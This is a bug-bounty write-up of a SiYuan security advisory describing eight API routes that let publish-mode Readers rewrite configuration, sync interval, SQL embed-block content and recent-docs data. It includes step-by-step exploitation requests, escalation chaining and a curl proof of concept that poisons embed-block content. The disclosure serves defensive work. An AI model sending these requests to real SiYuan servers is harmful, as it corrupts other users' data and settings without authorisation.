# SiYuan publish-mode Reader can mutate Conf and SQL index via 8 ungated APIs

Eight SiYuan API routes gated only by CheckAuth let publish-mode Readers rewrite conf.json, sync interval, graph config, SQL embed-block content and recent-docs state.

- Payout: Research
- Severity: high
- Program: SiYuan
- Found by: fg0x0
- Disclosed: 2026-05-13
- CVE: CVE-2026-45371
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gmmv-4cc5-wr9r
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gmmv-4cc5-wr9r
- Tags: area:web domain:web impact:integrity kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** SiYuan kernel HTTP API (router.go handlers: graph, sync, storage, search)
**Root cause:** Eight ginServer.Handle registrations use only model.CheckAuth, omitting model.CheckAdminRole and model.CheckReadonly, so any JWT-holding Reader reaches handlers that write Conf.Save() and SQL block content.
**Steps:**
1. Authenticate via `POST /api/system/loginAuth` with `{"authCode":"audittest"}` (a publish-mode Reader JWT works equivalently).
2. Read baseline via `POST /api/system/getConf` to note `sync.interval` and `graph.global.minRefs`.
3. Send `POST /api/sync/setSyncInterval` with `{"interval":30}` as Reader.
4. Send `POST /api/graph/getGraph` with `{"k":"","conf":{"minRefs":99,"maxBlocks":1,"d3":{"linkWidth":99}}}`.
5. Re-read getConf and grep `/siyuan/workspace/conf/conf.json` to confirm persisted `interval` and `minRefs`.
6. Send `POST /api/search/updateEmbedBlock` with `{"id":"<embed-block-id>","content":"poisoned"}` to rewrite SQL blocks.content.
7. Confirm omission via `grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' kernel/api/router.go | grep -vE 'CheckAdminRole|CheckReadonly'`.
**How found:** Source review of kernel/api/router.go: compared each registration against adjacent gated siblings (setSyncEnable, resetGraph, resetLocalGraph) and noticed the missing CheckAdminRole/CheckReadonly middleware; then traced each handler into model.Conf.Save() and sql.UpdateBlockContentQueue. Same root-cause class as prior advisories GHSA-6r88-8v7q-q4p2 and GHSA-4j3x-hhg2-fm2x, so enumerated remaining occurrences in one pass.
**Exploitation:** A publish-mode Reader (default role for anonymous publish visitors) or a ReadOnly Editor sends authenticated POSTs to the eight endpoints; handlers unconditionally unmarshal caller JSON into model.Conf.Graph.Global/Local and call Conf.Save() (atomic full-file rewrite), call SetSyncInterval (clamped 30-43200s, reschedules sync goroutine), rewrite SQL blocks.content for any embed-block ID, and rewrite recent-docs JSON under recentDocLock with arbitrary rootIDs.
**Escalation:** Chaining: conf.json full rewrite can revert concurrent admin config saves; sync interval pinned to 43200s hides sync suspension behind an unchanged UI toggle, increasing data divergence; embed-block content poisoning surfaces to other users via fullTextSearchBlock/getEmbedBlock; recent-docs injection can register IDs from publish-private notebooks (info disclosure).
**Insight:** When a project patches one missing-middleware occurrence, grep the router for every registration in the same group and diff against gated siblings on adjacent lines; also check handlers whose verb ('getGraph') hides a write path that unmarshals caller JSON into a persisted config struct.

## Proof of concept (copied exactly from the original report)

**curl PoC poisoning embed block SQL content**

```
curl -s -b /tmp/sy.cookie -X POST http://127.0.0.1:6806/api/search/updateEmbedBlock \
 -H 'Content-Type: application/json' \
 -d '{"id":"<embed-block-id>","content":"poisoned"}'
```

**grep proof of ungated router registrations**

```
$ grep -nE 'ginServer\.Handle.*(getGraph|getLocalGraph|setSyncInterval|updateEmbedBlock|updateRecentDoc|batchUpdateRecentDocCloseTime)' \
 kernel/api/router.go \
 | grep -vE 'CheckAdminRole|CheckReadonly'
kernel/api/router.go:87: ... /api/storage/updateRecentDocViewTime", model.CheckAuth, ...
kernel/api/router.go:88: ... /api/storage/updateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:89: ... /api/storage/batchUpdateRecentDocCloseTime", model.CheckAuth, ...
kernel/api/router.go:90: ... /api/storage/updateRecentDocOpenTime", model.CheckAuth, ...
kernel/api/router.go:188: ... /api/search/updateEmbedBlock", model.CheckAuth, ...
kernel/api/router.go:279: ... /api/sync/setSyncInterval", model.CheckAuth, ...
kernel/api/router.go:400: ... /api/graph/getGraph", model.CheckAuth, ...
kernel/api/router.go:401: ... /api/graph/getLocalGraph", model.CheckAuth, ...
```

